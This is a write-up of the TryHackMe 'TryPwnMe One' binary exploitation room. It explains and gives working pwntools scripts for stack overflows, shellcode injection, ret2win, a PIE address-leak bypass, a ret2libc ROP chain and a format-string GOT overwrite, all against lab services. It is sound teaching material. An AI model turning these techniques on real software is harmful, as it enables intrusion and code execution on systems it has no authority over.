TryHackMe: TryPwnMe One
TryPwnMe One was a room dedicated to binary exploitation (pwn), featuring seven challenges related to this subject.
TryOverflowMe 1
We begin with TryOverflowMe 1
, using the following reference code as a starting point:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int main(){
setup();
banner();
int admin = 0;
char buf[0x10];
puts("PLease go ahead and leave a comment :");
gets(buf);
if (admin){
const char* filename = "flag.txt";
FILE* file = fopen(filename, "r");
char ch;
while ((ch = fgetc(file)) != EOF) {
putchar(ch);
}
fclose(file);
}
else{
puts("Bye bye\n");
exit(1);
}
}
We can immediately identify the vulnerability.
It initializes an array with a size of 16 bytes.
1
char buf[0x10];
Then, the gets
function is then called with this array, which reads user input and writes it to the buf
array until it encounters a newline or the end of file (EOF). We can exploit this to write beyond the allocated space for the array on the stack.
1
gets(buf);
To read the flag, our objective is to pass the if (admin)
check. We can achieve this by exploiting the buffer overflow vulnerability to overwrite the value of the admin
variable.
First, we need to determine the locations of the buf
and admin
variables on the stack. We can accomplish this by using gdb
to display the disassembly of the main
function.
1
2
3
4
5
6
7
8
9
$ gdb -batch ./materials-TryPwnMeOne/TryOverFlowMe1/overflowme1 -ex 'disassemble main'
...
0x00000000004008f6 <+28>: mov DWORD PTR [rbp-0x4],0x0
...
0x0000000000400909 <+47>: lea rax,[rbp-0x30]
0x000000000040090d <+51>: mov rdi,rax
0x0000000000400910 <+54>: mov eax,0x0
0x0000000000400915 <+59>: call 0x400680 <gets@plt>
...
We observe that the buf
array is located at rbp-0x30
, while the admin
variable is positioned at rbp-0x4
.
Thus, the admin
variable is situated 44
bytes (0x30 - 0x4)
beyond the start of the buf
array.
To exploit this, we will write a Python
script utilizing the pwntools
library.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
from pwn import *
context.log_level = "error"
r = remote("10.10.74.205", 9003)
payload = b"A" * 44 # offset to the admin variable
payload += p64(1) # overwrite the admin variable with 1
r.recvuntil(b"Please go ahead and leave a comment :\n")
r.sendline(payload)
print(r.recvline().decode())
r.close()
Upon executing it, we obtain the first flag.
TryOverflowMe 2
For TryOverflowMe 2
, we are provided with the following reference code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int read_flag(){
const char* filename = "flag.txt";
FILE* file = fopen(filename, "r");
if(!file){
puts("the file flag.txt is not in the current directory, please contact support\n");
exit(1);
}
char ch;
while ((ch = fgetc(file)) != EOF) {
putchar(ch);
}
fclose(file);
}
int main(){
setup();
banner();
int admin = 0;
int guess = 1;
int check = 0;
char buf[64];
puts("Please Go ahead and leave a comment :");
gets(buf);
if (admin==0x59595959){
read_flag();
}
else{
puts("Bye bye\n");
exit(1);
}
}
The vulnerability in this case is the same as that in TryOverflowMe 1
; however, this time we need to overwrite the admin
variable with a specific value (0x59595959
) rather than any non-zero value. Additionally, there are other variables situated between the buf
array and the admin
variable.
As before, we begin by identifying the locations of the variables on the stack.
1
2
3
4
5
6
7
8
9
10
11
$ gdb -batch ./materials-TryPwnMeOne/TryOverFlowMe2/overflowme2 -ex 'disassemble main'
...
0x000000000040096c <+28>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000400973 <+35>: mov DWORD PTR [rbp-0x8],0x1
0x000000000040097a <+42>: mov DWORD PTR [rbp-0xc],0x0
...
0x000000000040098d <+61>: lea rax,[rbp-0x50]
0x0000000000400991 <+65>: mov rdi,rax
0x0000000000400994 <+68>: mov eax,0x0
0x0000000000400999 <+73>: call 0x400680 <gets@plt>
...
The locations of the variables on the stack are as follows:
buf
:rbp-0x50
check
:rbp-0xc
guess
:rbp-0x8
admin
:rbp-0x4
Thus, the admin
variable is reached after 76 bytes (0x50 - 0x4
).
We can adapt the exploit from the first challenge by adjusting the offset and the value to be written as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
from pwn import *
context.log_level = "error"
r = remote("10.10.74.205", 9004)
payload = b"A" * 76 # offset to the admin variable
payload += p32(0x59595959) # overwrite the admin variable with 0x59595959
r.recvuntil(b"Please go ahead and leave a comment :\n")
r.sendline(payload)
print(r.recvline().decode())
r.close()
Upon running it, we obtain the second flag.
TryExecMe
For TryExecMe
, the provided reference code is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
int main(){
setup();
banner();
char *buf[128];
puts("\nGive me your shell, and I will execute it: ");
read(0,buf,sizeof(buf));
puts("\nExecuting Spell...\n");
( ( void (*) () ) buf) ();
}
This time, there is no buffer overflow. The executable reads our input into the buf
variable, casts the input as a function, and then calls it, effectively executing our input.
To solve this challenge, all we need to do is provide a shellcode that spawns a shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
r = remote("10.10.74.205", 9005)
payload = asm(shellcraft.sh()) # generates a shellcode that spawns /bin/sh
r.recvuntil(b"Give me your shell, and I will execute it: \n")
r.sendline(payload)
r.recvuntil(b"Executing Spell...\n\n")
# r.interactive() # uncomment for an interactive shell
r.sendline(b"cat flag.txt")
print(r.recvline().decode())
r.close()
With this, we get the third flag.
TryRetMe
Solving the Challenge
For the TryRetMe
challenge, we are given the below reference code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int win(){
system("/bin/sh");
}
void vuln(){
char *buf[0x20];
puts("Return to where? : ");
read(0, buf, 0x200);
puts("\nok, let's go!\n");
}
int main(){
setup();
vuln();
}
The vulnerability is similar to those in the previous challenges:
First, it allocates an array with 256
bytes.
1
char *buf[0x20];
This time, the elements in the array are
char *
(char pointers), each of which is 8 bytes, rather thanchar
, which is 1 byte. Therefore, the buffer size is0x20 * 8 = 256 (0x100)
bytes.
We can also see this as such in the function disassembly:
1
2
3
4
5
6
7
8
$ gdb -batch ./materials-TryPwnMeOne/TryRetMe/tryretme -ex 'disassemble vuln'
...
0x000000000040120f <+27>: lea rax,[rbp-0x100]
0x0000000000401216 <+34>: mov edx,0x200
0x000000000040121b <+39>: mov rsi,rax
0x000000000040121e <+42>: mov edi,0x0
0x0000000000401223 <+47>: call 0x401090 <read@plt>
After that, it reads 512 bytes (0x200
) into the buffer, which exceeds the allocated buffer size.
1
read(0, buf, 0x200);
This time, there are no variables to overwrite; instead, we have the win
function, which spawns a shell.
To exploit this, we will manipulate the return address
, which is located on the stack immediately after the RBP
. The return address
is a pointer that indicates where the program should resume execution after a function call. By overwriting this address with the address of the win
function, we ensure that, upon completion of the vuln
function, the program will continue execution from the win
function.
We can accomplish this as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
context.binary = binary = ELF(
"./materials-TryPwnMeOne/TryRetMe/tryretme", checksec=False
)
r = remote("10.10.74.205", 9006)
rop = ROP(binary)
ret = rop.find_gadget(["ret"])[0]
win_function_address = binary.symbols["win"]
payload = b"A" * 256 # offset to the RBP
payload += b"B" * 8 # overwrite the RBP
payload += p64(ret) # overwrite the return address with the ret instruction for stack allignment
payload += p64(win_function_address) # address of the win function
r.recvuntil(b"Return to where? : \n")
r.sendline(payload)
r.recvuntil(b"ok, let's go!\n\n")
# r.interactive() # uncomment for an interactive shell
r.sendline(b"cat flag.txt")
print(r.recvline().decode())
r.close()
Stack Allignment
Examining the code, you may wonder why we include a ret
instruction before jumping to the win
function. This is necessary for stack alignment.
You can read more about stack alignment here.
To understand the need for the ret
instruction for proper stack alignment, you can run the following code, which does not include it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
context.binary = binary = ELF(
"./materials-TryPwnMeOne/TryRetMe/tryretme", checksec=False
)
r = process()
gdb.attach(r)
win_function_address = binary.symbols["win"]
payload = b"A" * 256 # offset to the RBP
payload += b"B" * 8 # overwrite the RBP
payload += p64(win_function_address) # address of the win function
r.recvuntil(b"Return to where? : \n")
r.sendline(payload)
r.recvuntil(b"ok, let's go!\n\n")
r.interactive()
As observed, the program crashes when attempting to spawn a shell upon reaching the movaps
instruction, which utilizes 16-byte xmm
registers while the stack is not 16-byte aligned (0x7ffc7e10b478 % 16 = 8
).
Random Memories
For Random Memories
, the provided code is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int win(){
system("/bin/sh\0");
}
void vuln(){
char *buf[0x20];
printf("I can give you a secret %llx\n", &vuln);
puts("Where are we going? : ");
read(0, buf, 0x200);
puts("\nok, let's go!\n");
}
int main(){
setup();
banner();
vuln();
}
So, what makes this one different from the previous challenge? We can identify this by checking the protections enabled for the binaries using checksec
.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ checksec ./materials-TryPwnMeOne/TryRetMe/tryretme
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ checksec ./materials-TryPwnMeOne/RandomMemories/random
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
As we can see, previously PIE
(Position-Independent Executable) was not enabled. This means that when the binary runs, it is loaded at the same memory address each time (0x400000
).
However, with PIE
enabled and ASLR
(Address Space Layout Randomization) in effect, the binary is loaded at a random memory address each time it runs. This makes it difficult to predict where the win
function will be located, preventing us from directly overwriting the return address with it.
So, how can we address this issue? Fortunately, right before reading our input, the binary prints the address of the vuln
function.
1
printf("I can give you a secret %llx\n", &vuln);
The binary will be loaded into a different, random memory address each time it runs, but it is still the same binary. This means that if we know the address of the vuln
function and its offset in the binary (which we can easily determine since we have the binary), we can calculate the base address where the binary is loaded. With this information, we can also determine the addresses of any other functions in the binary and exploit it in the same way as before.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
context.binary = binary = ELF("./materials-TryPwnMeOne/RandomMemories/random", checksec=False)
r = remote("10.10.74.205", 9007)
r.recvuntil(b"I can give you a secret ")
vuln_address = int(r.recvline().rstrip().decode(), 16) # parse the printed address of the vuln function
print(f"[+] Got the vuln function address: {hex(vuln_address)}")
binary_base_address = vuln_address - binary.symbols["vuln"] # calculate the base address the binary is loaded
print(f"[+] Calculated the binary base address: {hex(binary_base_address)}")
binary.address = binary_base_address # set the binary base address to match the process's memory layout
win_address = binary.symbols["win"]
print(f"[+] Calculated the win function address: {hex(win_address)}")
rop = ROP(binary)
ret = rop.find_gadget(["ret"])[0]
payload = b"A" * 256 # offset to the RBP
payload += b"B" * 8 # overwrite the RBP
payload += p64(ret) # ret instruction for stack alignment
payload += p64(win_address) # calculated address of the win function
r.recvuntil(b"Where are we going? : \n")
r.sendline(payload)
r.recvuntil(b"ok, let's go!\n\n")
# r.interactive() # uncomment for an interactive shell
r.sendline(b"cat flag.txt")
print(r.recvline().decode())
r.close()
The Librarian
For The Librarian
, we are provided with the reference code:
1
2
3
4
5
6
7
8
9
10
11
12
void vuln(){
char *buf[0x20];
puts("Again? Where this time? : ");
read(0, buf, 0x200);
puts("\nok, let's go!\n");
}
int main(){
setup();
vuln();
}
This time, we have yet another buffer overflow vulnerability, but there is no function to jump to or variable to overwrite.
Checking the binary with checksec
, we see that PIE
is not enabled. This means we can overwrite the return address to jump to any part of the binary. However, there is nothing in the binary that directly helps us obtain the flag.
1
2
3
4
5
6
7
$ checksec ./materials-TryPwnMeOne/TheLibrarian/thelibrarian
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
So, what can we do? Even though there is nothing useful directly in the binary, it is linked with the libc
library, which provides functions like puts
and read
. The libc
library also includes useful functions like system
, which we can use to spawn a shell.
If we can overwrite the return address with the address of the system
function and provide the correct parameters for this function call, we can spawn a shell. However, we face the same issue as before: with PIE
enabled for libc
and ASLR
in effect, we cannot predict the exact address where libc
will be located.
1
2
3
4
5
6
$ checksec ./materials-TryPwnMeOne/TheLibrarian/libc.so.6
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
At this stage, we can attempt to leak an address from the libc
library to determine its location in memory. But to achieve this, we need to know a bit about the PLT
(Procedure Linkage Table) and GOT
(Global Offset Table).
The GOT
stores addresses for global variables and functions used by the binary, while the PLT
facilitates calling external functions, even if they are loaded at different addresses each time the binary runs.
When an external function is called, the request initially goes through a PLT
entry.
On the first call, this PLT
entry resolves the function’s actual address and updates the GOT
entry with the correct address before jumping to it.
On subsequent calls to the same function, the PLT
entry uses the updated address in the GOT
, directly jumping to this resolved address.
In our case, the binary calls the puts
function right before reading our input. Therefore, the GOT
entry for puts
will have been resolved with the function’s address from libc
. We also know that calling a function’s PLT
entry is equivalent to calling the function itself.
By calling the puts
function with its GOT
entry as an argument, we can make the binary print the address of the puts
function from libc
. This address allows us to calculate the base address where libc
is loaded and subsequently determine the addresses of other functions within libc
.
Also, to be able call the puts
function with the GOT
entry as an argument, we need to pass the argument in the RDI
register according to the Linux x64 calling convention. To achieve this, we need a way to load the address of the GOT
entry into the RDI
register. For this, we will use a gadget.
Gadgets are basically sequences of instructions that end with a ret
instruction. They allow us to perform specific operations while maintaining control over the program’s flow due to the ret
instruction at the end.
To set the RDI
register, we will use the pop rdi; ret
gadget found in the binary. Since PIE
is not enabled, we know the address of this gadget and can use it directly.
The
pop rdi
instruction pops the value from the top of the stack into theRDI
register. Since we control the stack, we can place any value we want onto the stack. By doing this, we can set the argument for a function call, allowing us to pass the address of theGOT
entry to theputs
function.
Now that we have everything we need, we can proceed to leak the puts
address from the GOT
entry as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
binary = ELF("./materials-TryPwnMeOne/TheLibrarian/thelibrarian", checksec=False)
libc = ELF("./materials-TryPwnMeOne/TheLibrarian/libc.so.6", checksec=False)
r = remote("10.10.74.205", 9008)
rop = ROP(binary)
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"])[0]
ret = rop.find_gadget(["ret"])[0]
payload = b"A" * 256 # offset to the RBP
payload += b"B" * 8 # overwrite the RBP
payload += p64(ret) # ret for stack alignment
payload += p64(pop_rdi_ret) # pop rdi gadget
payload += p64(binary.got["puts"]) # value for rdi
payload += p64(binary.plt["puts"]) # call puts
r.recvuntil(b"Again? Where this time? : ")
r.sendline(payload)
r.recvuntil(b"ok, let's go!\n\n")
leaked_puts = u64(r.recvline().rstrip().ljust(8, b"\x00")) # parse the leaked address
print(f"[+] Leaked address of puts from the GOT entry: {hex(leaked_puts)}")
libc_base_address = leaked_puts - libc.symbols["puts"] # calculate the base address of libc
print(f"[+] Calculated base address of libc: {hex(libc_base_address)}")
Now that we can leak an address from libc
and calculate where it is loaded, what we can do next is, instead of exiting after leaking the address, we can make the program execute the vuln
function again. This allows us to exploit the same vulnerability, but this time with knowledge of the libc
base address and the ability to call the system
function from libc
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
binary = ELF("./materials-TryPwnMeOne/TheLibrarian/thelibrarian", checksec=False)
libc = ELF("./materials-TryPwnMeOne/TheLibrarian/libc.so.6", checksec=False)
r = remote("10.10.74.205", 9008)
rop = ROP(binary)
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"])[0]
ret = rop.find_gadget(["ret"])[0]
payload = b"A" * 256 # offset to the RBP
payload += b"B" * 8 # overwrite the RBP
payload += p64(ret) # ret for stack alignment
payload += p64(pop_rdi_ret) # pop rdi gadget
payload += p64(binary.got["puts"]) # value for rdi
payload += p64(binary.plt["puts"]) # call puts
payload += p64(binary.symbols["vuln"]) # jump back to vuln
r.recvuntil(b"Again? Where this time? : ")
r.sendline(payload)
r.recvuntil(b"ok, let's go!\n\n")
leaked_puts = u64(r.recvline().rstrip().ljust(8, b"\x00")) # parse the leaked address
print(f"[+] Leaked address of puts from the GOT entry: {hex(leaked_puts)}")
libc_base_address = leaked_puts - libc.symbols["puts"] # calculate the base address of libc
print(f"[+] Calculated the base address of LIBC: {hex(libc_base_address)}")
libc.address = libc_base_address # set the libc base address to match the remote process's memory layout
r.recvuntil(b"Again? Where this time? : ")
payload2 = b"A" * 256 # offset to the RBP
payload2 += b"B" * 8 # overwrite the RBP
payload2 += p64(pop_rdi_ret) # pop rdi gadget
# The libc library already includes the /bin/sh string.
# We can use the search function to find its address in libc.
# Once we have this address, we can use the same gadget to set it as an argument for the system function.
payload2 += p64(next(libc.search(b"/bin/sh"))) # value of rdi
payload2 += p64(libc.symbols["system"]) # call system("/bin/sh")
r.sendline(payload2)
r.recvuntil(b"ok, let's go!\n\n")
# r.interactive() # uncomment for an interactive shell
r.sendline(b"cat flag.txt")
print(r.recvline().decode())
r.close()
Not Specified
For the Not Specified
challenge, we are provided with the following reference code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int win(){
system("/bin/sh\0");
}
int main(){
setup();
banner();
char *username[32];
puts("Please provide your username\n");
read(0,username,sizeof(username));
puts("Thanks! ");
printf(username);
puts("\nbye\n");
exit(1);
}
As before, the binary declares an array and reads our input into it. But this time it only reads a number of bytes equal to the size of the array, so there is no buffer overflow vulnerability.
1
2
3
char *username[32];
puts("Please provide your username\n");
read(0,username,sizeof(username));
However, the binary passes our input directly to the printf
function as an argument, creating a format string vulnerability.
1
printf(username);
Calling printf
with our input allows us to use format specifiers. We can utilize format specifiers such as %p
or %c
to read values from the stack.
1
2
3
4
5
6
7
$ nc 10.10.74.205 9009
...
Please provide your username
%p
Thanks!
0x7fa6639cd723
We can also observe that our input is located as the sixth item on the stack.
1
2
3
4
5
6
7
$ nc 10.10.74.205 9009
Please provide your username
AAAAAAAA%p.%p.%p.%p.%p.%p
Thanks!
AAAAAAAA0x7f31fa505723.(nil).0x7f31fa426297.0x9.0x4.0x4141414141414141
Knowing this, we can also reference it as such:
1
2
3
4
5
6
$ nc 10.10.74.205 9009
Please provide your username
AAAAAAAA%6$p
Thanks!
AAAAAAAA0x4141414141414141
Additionally, we can use the %n
format specifier to write to the program’s memory. This specifier writes the number of characters printed so far into the specified memory location.
For example, consider running the script below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
r = process("./materials-TryPwnMeOne/NotSpecified/notspecified")
gdb.attach(r)
payload = b"A" * 8
payload += b"%6$n"
r.recvuntil(b"Please provide your username\n")
r.sendline(payload)
r.interactive()
We can see that it crashes inside printf
because it attempts to write the value 8
to the address 0x4141414141414141
, which is not a valid memory address that the program can access.
So, how can we exploit this? We observe that the binary calls the puts
function both before reading our input and after the call to printf
.
From previous challenges, we know that after the first call to puts
, its GOT
entry will store the function’s address in memory and subsequent calls to the puts
funtion will use this resolved address. To exploit this, we can overwrite the address in the GOT
entry with the address of the win
function. Consequently, when puts
is called again, it will execute the win
function instead.
Creating the Payload Manually
Let’s begin with our manual exploit attempt. First, we will modify our payload by placing our input after the format specifiers. This is because we will use the format specifiers to overwrite memory addresses, by changing our input to those memory addresses which include null bytes (0x00
). These null bytes will cause printf
to stop printing when it encounters them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
context.binary = binary = ELF("./materials-TryPwnMeOne/NotSpecified/notspecified", checksec=False)
r = process()
payload = b"%12$p %13$p %14$p %15$p".ljust(48, b"-")
payload += b"A"*8
payload += b"B"*8
payload += b"C"*8
payload += b"D"*8
r.recvuntil(b"Please provide your username\n")
r.sendline(payload)
print(r.recvall().decode())
r.close()
We can see that we are able to locate our inputs on the stack using the offsets 12, 13, 14, and 15.
1
2
3
4
5
6
$ python3 exploit.py
Thanks!
0x4141414141414141 0x4242424242424242 0x4343434343434343 0x4444444444444444-------------------------AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
bye
Now, all we have to do is modify our input to target the memory address of the puts
function’s GOT
entry and attempt to write the address of the win
function to it which we can discover as 0x4011f6
using readelf
.
1
2
$ readelf -s ./materials-TryPwnMeOne/NotSpecified/notspecified | grep win
62: 00000000004011f6 23 FUNC GLOBAL DEFAULT 15 win
However, since %n
writes the number of characters printed so far to the specified memory address, and printing 0x4011f6
characters is impractical, we will write the address in multiple steps.
First, we will clear the address using the ll
length sub-specifier with %n
. This will make printf
write the number of characters printed as a long long int
(8 bytes). Since no characters are printed yet, this will essentially zero out the address specified.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
context.binary = binary = ELF("./materials-TryPwnMeOne/NotSpecified/notspecified", checksec=False)
puts_got = binary.got["puts"]
r = process()
gdb.attach(r)
payload = b"%12$lln %13$p %14$p %15$p".ljust(48, b"-")
payload += p64(puts_got)
payload += b"B"*8
payload += b"C"*8
payload += b"D"*8
r.recvuntil(b"Please provide your username\n")
r.sendline(payload)
r.interactive()
r.close()
Checking this in GDB
, we can confirm that it works as expected.
1
2
pwndbg> x/gx &'puts@got.plt'
0x404020 <puts@got.plt>: 0x0000000000000000
Next, we can write the least significant byte (0xf6
) of the win
function’s address (0x4011f6
). To do this, we first make printf
print 246
characters (which corresponds to 0xf6
in hexadecimal) using %246c
, then using the %13$n
format specifier to write this value to the address.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
context.binary = binary = ELF("./materials-TryPwnMeOne/NotSpecified/notspecified", checksec=False)
puts_got = binary.got["puts"]
r = process()
gdb.attach(r)
payload = b"%12$lln%246c%13$n %14$p %15$p".ljust(48, b"-")
payload += p64(puts_got)
payload += p64(puts_got)
payload += b"C"*8
payload += b"D"*8
r.recvuntil(b"Please provide your username\n")
r.sendline(payload)
r.interactive()
r.close()
We see this works as expected.
1
2
pwndbg> x/gx &'puts@got.plt'
0x404020 <puts@got.plt>: 0x00000000000000f6
Next, we will move on to writing 0x11
, the second least significant byte of the win
function’s address (0x4011f6
). Since we have already printed 246
characters (which exceeds 0x11
), we can print an additional 27
bytes to make the total count of printed characters 273
(0x111
in hexadecimal).
Then, we will use the hh
(char
) length sub-specifier with %n
to ensure that printf
writes only the least significant byte (0x11
) of the printed character count (0x111
).
Additionally, in our input, we need to increment the address so that printf
writes to the next byte.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
context.binary = binary = ELF("./materials-TryPwnMeOne/NotSpecified/notspecified", checksec=False)
puts_got = binary.got["puts"]
r = process()
gdb.attach(r)
payload = b"%12$lln%246c%13$n%27c%14$hhn %15$p".ljust(48, b"-")
payload += p64(puts_got)
payload += p64(puts_got)
payload += p64(puts_got+1)
payload += b"D"*8
r.recvuntil(b"Please provide your username\n")
r.sendline(payload)
r.interactive()
r.close()
1
2
pwndbg> x/gx &'puts@got.plt'
0x404020 <puts@got.plt>: 0x00000000000011f6
Finally, to write the last byte, 0x40
, we need to print 47
additional characters. This will make the total count of printed characters 0x140
.
To calculate this:
0x140
(total characters needed) -0x111
(characters already printed) =0x2f
(47 additional characters).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
context.binary = binary = ELF("./materials-TryPwnMeOne/NotSpecified/notspecified", checksec=False)
puts_got = binary.got["puts"]
r = process()
payload = b"%12$lln%246c%13$n%27c%14$hhn%47c%15$hhn".ljust(48, b"-")
payload += p64(puts_got)
payload += p64(puts_got)
payload += p64(puts_got+1)
payload += p64(puts_got+2)
r.recvuntil(b"Please provide your username\n")
r.sendline(payload)
r.interactive()
r.close()
With this, we successfully overwrite the GOT
entry for puts
with the address of the win
function.
1
2
pwndbg> x/gx &'puts@got.plt'
0x404020 <puts@got.plt>: 0x00000000004011f6
Now, we can modify our script to exploit the remote target and gain a shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
context.binary = binary = ELF("./materials-TryPwnMeOne/NotSpecified/notspecified", checksec=False)
puts_got = binary.got["puts"]
r = remote("10.10.74.205", 9009)
payload = b"%12$lln%246c%13$n%27c%14$hhn%47c%15$hhn".ljust(48, b"-")
payload += p64(puts_got)
payload += p64(puts_got)
payload += p64(puts_got+1)
payload += p64(puts_got+2)
r.recvuntil(b"Please provide your username\n")
r.sendline(payload)
r.interactive()
r.close()
1
2
3
4
5
6
7
8
$ python3 exploit.py
Thanks!
...
$ id
uid=1000 gid=1000 groups=1000
$ wc -c flag.txt
37 flag.txt
Using pwntools for Payload Generation
Alternatively, instead of manually generating our payload for the format string vulnerability, we could use the fmtstr_payload
function from pwntools
to create it for us.
All we need to do is provide the offset of our input on the stack, the address where we want to write, and the value we want to write, as shown below:
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level = "error")
context.binary = binary = ELF("./materials-TryPwnMeOne/NotSpecified/notspecified", checksec=False)
r = remote("10.10.74.205", 9009)
payload = fmtstr_payload(6, {binary.got["puts"] : binary.symbols["win"]})
r.sendline(payload)
r.interactive()
r.close()